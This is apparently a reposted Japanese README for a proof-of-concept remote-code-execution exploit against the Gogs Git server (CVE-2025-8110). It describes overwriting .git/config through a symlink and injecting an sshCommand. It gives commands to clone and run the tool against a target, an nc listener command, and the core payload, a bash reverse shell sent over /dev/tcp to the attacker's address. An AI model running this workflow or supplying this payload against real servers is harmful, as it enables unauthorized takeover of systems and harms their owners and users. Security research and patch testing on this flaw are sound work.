Gogs RCE エクスプロイト (CVE-2025-8110)

CVE-2025-8110 の概念実証 (PoC) です。Gogs における重大な脆弱性で、シンボリックリンクのバイパスと sshCommand インジェクションを介した .git/config の操作により、リモートコード実行 (RCE) を可能にします。

📖 概要

このエクスプロイトは、Gogs API のコンテンツ管理におけるパストラバーサルの脆弱性を標的とします。認証されたユーザーは以下を実行できます。

1. リポジトリを作成し、内部の .git/config を指す シンボリックリンク をプッシュします。
2. API を使用して、シンボリックリンク経由で対象の設定ファイルを上書きします。
3. 悪意のある sshCommand を注入して、サーバーが Git 操作を実行する際に リバースシェル を実行します。

🚀 特徴

• 自動化されたワークフロー: ログイン、リポジトリ作成、シンボリックリンク展開、ポイズニングを処理します。
• 堅牢なエンコーディング: 資格情報を自動的に URL エンコードし、特殊文字 (例: !, @) を処理します。
• リッチな出力: Rich ライブラリを使用した視認性の高いロギング。

🛠 前提条件

• Python 3.12+
• ローカルシステムに Git がインストールされていること。
• ターゲットの Gogs インスタンスで有効な資格情報。

📦 インストール

1. リポジトリをクローンします:
   root@kitploit:~

   git clone https://github.com/Ghxstsec/CVE-2025-8110.git
   cd CVE-2025-8110
   

依存関係をインストールします:

pip3 install -r requirements.txt

💻 使用方法

リスナーを起動します:

nc -lvnp 6666

エクスプロイトを実行します:

python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'

引数:

脆弱性の核心:

sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

Gogs がネットワーク転送を必要とする Git コマンド (ミラー同期や内部参照チェックなど) を実行すると、sshCommand が呼び出され、リバースシェルが起動します。

⚠️ 法的免責事項: このツールは教育目的および許可されたセキュリティテスト専用です。作者は、このスクリプトによって引き起こされた誤用や損害について一切責任を負いません。コンピュータシステムへの不正アクセスは違法です。